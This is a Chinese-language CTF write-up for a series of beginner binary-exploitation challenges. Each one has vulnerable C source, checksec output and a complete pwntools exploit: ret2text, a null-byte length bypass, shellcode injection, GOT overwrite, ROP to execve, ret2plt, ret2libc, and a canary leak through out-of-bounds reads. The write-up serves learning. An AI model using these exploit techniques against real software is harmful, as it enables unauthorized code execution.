NTUSTISC Pwn Basic Writeup
前言
Youtube: https://www.youtube.com/@ntustcsrc
Github: https://github.com/segnolin/pwn-basic-challenge
bof
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void y0u_c4n7_533_m3()
{
execve("/bin/sh", (char *[]){0}, (char *[]){0});
}
int main()
{
char buf[16];
puts("This is your first bof challenge ;)");
fflush(stdout);
read(0, buf, 0x30);
return 0;
}
|
1
2
3
4
5
6
7
|
[*] '/home/ubuntu/Pwn/pwn-basic-challenge/bof/home/bof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
|
最基本的 ret2text
1
2
3
4
5
6
7
8
9
10
11
12
|
from pwn import *
p = process('./bof')
context.terminal = ['tmux', 'splitw', '-h']
ret_addr = 0x400607
payload = b'a' * 0x18 + p64(ret_addr)
# gdb.attach(p)
p.sendlineafter(b';)', payload)
p.interactive()
|
bof2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void y0u_c4n7_533_m3()
{
int allow = 0;
if (allow) {
execve("/bin/sh", 0, 0);
}
else {
puts("Oh no~~~!");
exit(0);
}
}
int main()
{
char buf[16];
puts("This is your second bof challenge ;)");
fflush(stdout);
read(0, buf, 0x30);
if (strlen(buf) >= 16) {
puts("Bye bye~~");
exit(0);
}
return 0;
}
|
1
2
3
4
5
6
7
|
[*] '/home/ubuntu/Pwn/pwn-basic-challenge/bof2/home/bof2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
|
这题也是 ret2text, 但因为 y0u_c4n7_533_m3 的 if 语句内是一个永远都是 false 的条件, 导致 ida 伪代码就不显示后面的 execve 的部分, 必须得看汇编
strlen 判断字符串长度遇到 0x00 停止, 因此栈溢出的时候可以先写一段 0x00 绕过长度限制, 后面直接 ret 到调用 execve 的部分
1
2
3
4
5
6
7
8
9
10
11
|
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
p = process('./bof2')
p.recvuntil(b';)')
# gdb.attach(p)
payload = b'\0' * 0x10 + b'aaaaaaaa' + p64(0x04006AC)
p.sendline(payload)
p.interactive()
|
ret2sc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char message[48];
int main()
{
char name[16];
printf("Give me your message: ");
fflush(stdout);
read(0, message, 0x30);
printf("Give me your name: ");
fflush(stdout);
read(0, name, 0x30);
return 0;
}
|
1
2
3
4
5
6
7
8
9
10
11
|
[*] '/home/ubuntu/Pwn/pwn-basic-challenge/ret2sc/home/ret2sc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No
|
ret2shellcode, 往 bss 段的 message 数组内写入 shellcode, 然后 ret 到 bss 段地址
但是高版本内核 (我的环境是 Ubuntu 22.04) bss 段直接不可执行, 好像改也改不了, 必须得用低版本的内核才能利用?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./ret2sc')
p.recvuntil(b': ')
payload = asm(shellcraft.sh())
p.send(payload)
p.recvuntil(b': ')
# gdb.attach(p)
payload = b'a' * 0x18 + p64(0x601060)
p.send(payload)
p.interactive()
|
gothijack
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char name[64];
int main()
{
int unsigned long long addr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
printf("What's you name?\n");
read(0, name, 0x40);
printf("Where do you want to write?\n");
scanf("%llu", &addr);
printf("Data: ");
read(0, (char *)addr, 8);
puts("Done!");
printf("Thank you %s!\n", name);
return 0;
}
|
1
2
3
4
5
6
7
8
9
|
[*] '/home/ubuntu/Pwn/pwn-basic-challenge/gothijack/home/gothijack'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
|
比较简单的 GOT 表劫持, 给了一个任意地址写, 将 GOT 表内 puts 的地址覆盖为 bss 段 name 的地址, 后续再次调用 puts 则会执行 shellcode
(同样是因为上面内核版本的问题执行不了)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./gothijack')
p.recvuntil(b'name?\n')
payload = asm(shellcraft.sh())
p.send(payload)
# gdb.attach(p)
p.recvuntil(b'write?\n')
p.sendline(str(0x601018))
p.recvuntil(b'Data: ')
p.send(p64(0x601080))
p.interactive()
|
rop
1
2
3
4
5
6
7
8
9
10
11
12
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
char buf[16];
puts("This is your first rop challenge ;)");
fflush(stdout);
read(0, buf, 0x90);
return 0;
}
|
1
2
3
4
5
6
7
|
[*] '/home/ubuntu/Pwn/pwn-basic-challenge/rop/home/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
|
(实际上没有 Canary)
题目使用了静态链接, 思路是通过 ROP 调用 execve syscall
大致汇编如下, 需要遵循 x64 的调用约定
1
2
3
4
5
6
7
|
mov rdi, <.data or .bss address>
mov rsi, "/bin/sh\0"
mov qword ptr [rdi], rsi
mov rsi, 0
mov rdx, 0
mov rax, 0x3b
syscall
|
ROP gadget 可以通过 ROPgadget --binary rop | grep 'xxx'
寻找
然后在 data 或者 bss 段上随便找一段空地址写入 /bin/sh
字符串, 我这里找的是 0x6b9296
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./rop')
pop_rdi_ret = 0x400686
pop_rsi_ret = 0x410093
mov_qword_ptr_rdi_rsi_ret = 0x446c1b
pop_rdx_ret = 0x44ba16
pop_rax_ret = 0x415294
syscall = 0x4011fc
payload = flat([
b'A' * 24,
pop_rdi_ret,
0x6b9296,
pop_rsi_ret,
b'/bin/sh\0',
mov_qword_ptr_rdi_rsi_ret,
pop_rsi_ret,
0x0,
pop_rdx_ret,
0x0,
pop_rax_ret,
0x3b,
syscall
])
# gdb.attach(p)
p.sendafter(b';)\n', payload)
p.interactive()
|
ret2plt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char name[16];
int main()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char buf[16];
system("echo What is your name?");
read(0, name, 0x10);
puts("Say something: ");
read(0, buf, 0x40);
return 0;
}
|
1
2
3
4
5
6
7
|
[*] '/home/ubuntu/Pwn/pwn-basic-challenge/rop/home/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
|
ret2plt, 顾名思义覆盖返回地址为 PLT 地址, 例如 system 函数的 PLT (因为代码里调用过 system)
system 的参数来自 bss 段的 name (第一次 read 向 name 数组内写入了 /bin/sh
)
注意在调用 system 函数的过程中栈需要 16 字节对齐, 否则会 crash, 具体可以看: https://blog.atom1c.icu/2024/08/01/stack-alignment/
解决办法就是随便用一个什么指令让 rsp 上升或者下降 8 字节 (pop/push), 这里我用的是 ret 指令 (pop rip)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./ret2plt')
p.sendafter(b'name?', b'/bin/sh\0')
pop_rdi_ret = 0x400733
bss_name = 0x601070
system_plt = 0x400520
ret = 0x4004fe
payload = flat([
b'a' * 24,
pop_rdi_ret,
bss_name,
ret,
system_plt,
b'aaaaaaaa'
])
# gdb.attach(p)
p.sendafter(b': ', payload)
p.interactive()
|
ret2libc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char addr[16];
char buf[16];
printf("You have one chance to read the memory!\n");
printf("Give me the address in hex: ");
read(0, addr, 0x10);
unsigned long long iaddr = strtoll(addr, 0, 16);
printf("\nContent: %lld\n", *(unsigned long long *)iaddr);
printf("Give me your messege: ");
read(0, buf, 0x90);
return 0;
}
|
1
2
3
4
5
6
7
|
[*] '/home/ubuntu/Pwn/pwn-basic-challenge/ret2plt/home/ret2plt'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: N
|
程序允许一次任意地址读, 可以用来泄露 puts 函数的物理地址, 进而计算出 libc 的基地址, 最后算出 system 函数的物理地址, 将其作为返回地址
1
|
puts 物理地址 - puts libc 偏移 = system 物理地址 - system libc 偏移 = libc 基地址
|
这里为了方便就用了系统自带的 libc 了, 实际上应该是先 patch 成附件给的 libc-2.27.so
然后再调试 (
同样注意栈需要 16 字节对齐
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./ret2libc')
e = ELF('./ret2libc')
puts_got = e.got['puts']
p.sendafter(b': ', hex(puts_got)[2:].encode())
p.recvuntil(b'Content: ')
puts_addr = int(p.recvuntil(b'\n')[:-1])
print('leak puts addr:', hex(puts_addr))
puts_offset = e.libc.symbols['puts']
libc_base_addr = puts_addr - puts_offset
system_addr = libc_base_addr + e.libc.symbols['system']
bin_sh_addr = libc_base_addr + next(e.libc.search(b'/bin/sh'))
print('leak libc base addr:', hex(libc_base_addr))
print('system addr:', hex(system_addr))
print('/bin/sh addr:', hex(bin_sh_addr))
pop_rdi_ret = 0x4007d3
ret = 0x40053e
payload = flat([
b'a' * 0x38,
pop_rdi_ret,
bin_sh_addr,
ret,
system_addr
])
# gdb.attach(p)
p.sendafter(b': ', payload)
p.interactive()
|
sort
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int comp(const void *lhs, const void *rhs)
{
long long f = *((long long *)lhs);
long long s = *((long long *)rhs);
if (f > s) return 1;
if (f < s) return -1;
return 0;
}
int main()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char name[16];
long long arr[10000];
int size;
puts("Welcome to the sorting service!");
puts("Please enter array size (1~10000):");
scanf("%d", &size);
puts("Please enter the array:");
for (int i = 0; i < size; ++i) {
long long temp;
scanf("%lld", &temp);
if (temp >= 0) {
arr[i] = temp;
}
}
qsort(arr, size, sizeof(long long), comp);
puts("Here is the result");
for (int i = 0; i < size; ++i) {
printf("%lld ", arr[i]);
}
puts("");
puts("Please leave your name:");
read(0, name, 0x90);
puts("Thank you for using our service!");
}
|
1
2
3
4
5
6
7
|
[*] '/home/ubuntu/Pwn/pwn-basic-challenge/sort/home/sort'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
|
花了大半天才把这道题做出来, 学到挺多东西的
同样是为了方便用了系统自带的 libc, 但正是因为这个点导致题目最终比预期要复杂一些 (
首先程序在遍历数组的时候存在越界读写, 因此可以读取或写入栈上相邻高地址的内容
其次程序存在栈溢出, 但存在 Canary 保护
最后程序的 text 段和 PLT 处没有相关的 syscall 或者 system 函数可用, 因此需要 ret2libc
很容易想到可以通过越界读泄露 Canary 的内容, 然后通过栈底 __libc_start_main
的物理地址 (main 函数的返回地址) 计算出 libc 的基地址, 最后跳转到 system 函数的物理地址实现 RCE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./sort')
e = ELF('./sort')
# 10004 canary
# 10005 rbp
# 10006 ret address
n = 10000 + 8
p.recvuntil(b':')
p.sendline(str(n).encode())
p.recvuntil(b':')
for i in range(10000):
p.sendline("1".encode())
for i in range(n - 10000):
p.sendline("-1".encode())
p.recvuntil(b'result\n')
sort = p.recvline().decode()
array = list(map(int, sort.strip().split(' ')))
array = list(filter(lambda x: x != 1 and x != 0, array))
canary = max(array, key=abs)
array.remove(canary)
print('leak canary:', hex(canary))
for i in array:
print(hex(i))
_, libc_start_call_main_addr = array[0], array[1]
print('leak __libc_start_call_main addr:', hex(libc_start_call_main_addr))
libc_start_main_offset = e.libc.symbols['__libc_start_main']
libc_base_addr = libc_start_call_main_addr + 0xb0 - 128 - libc_start_main_offset
print('libc base addr:', hex(libc_base_addr))
system_addr = libc_base_addr + e.libc.symbols['system']
bin_sh_addr = libc_base_addr + next(e.libc.search(b'/bin/sh'))
pop_rdi_ret = libc_base_addr + 0x02a3e5
ret = libc_base_addr + 0x29139
print('system addr:', hex(system_addr))
print('/bin/sh addr:', hex(bin_sh_addr))
payload = flat([
b'a' * 0x18,
canary,
b'bbbbbbbb',
pop_rdi_ret,
bin_sh_addr,
ret,
system_addr
])
# gdb.attach(p)
p.sendafter(b':', payload)
p.interactive()
|
上面有几个很麻烦的点
首先需要计算好越界读的范围, 在理想情况下 Canary 位于 [rbp - 0x8]
的位置, 不过这里我 gdb 调试了好几遍才确定需要多读 8 个元素
然后多读取的几个元素内, 包含了 Canary, <__libc_start_call_main+128>
和旧 rbp 的内容, 题目对数组进行了排序, 因此需要确定好各个元素之间的大小关系
Canary 绝对值最大 (转换成整数有可能为负), libc 函数的物理地址以 0x7fff
开头, 相比旧 rbp (调试了好几遍, 都是以 0x5555
开头) 更大
最后需要根据 __libc_start_call_main
计算出 libc 的基地址, 但这个地方有很大一个坑
本来想通过 pwntools 直接通过 e.libc.symbols
查找拿到 __libc_start_call_main
的偏移地址, 但是发现并没有这个元素
问了下舍友 unauth401 才发现: libc 2.35 后 __libc_start_main
里面套了一层 __libc_start_call_main
, 但是符号表里面只有 __libc_start_main
, 导致无法直接拿到这个东西的偏移地址 (因为我用了 Ubuntu 22.04 自带的高版本 libc)
两种解决办法: 利用越界读再多读几个元素, 拿到调用栈底部 __libc_start_main
的物理地址, 或者利用 libc 函数之间偏移固定的特性, 计算出 __libc_start_main
的偏移地址
我比较懒所以就选了第二个方法, gdb 调试一遍计算得知两者之间的偏移为 0xb0, 然后计算 libc 基地址 (注意还要减去上面的 128)
1
|
libc_base_addr = libc_start_call_main_addr + 0xb0 - 128 - libc_start_main_offset
|
后续就是 ROP 调用 system, 或者拼一个 syscall 也行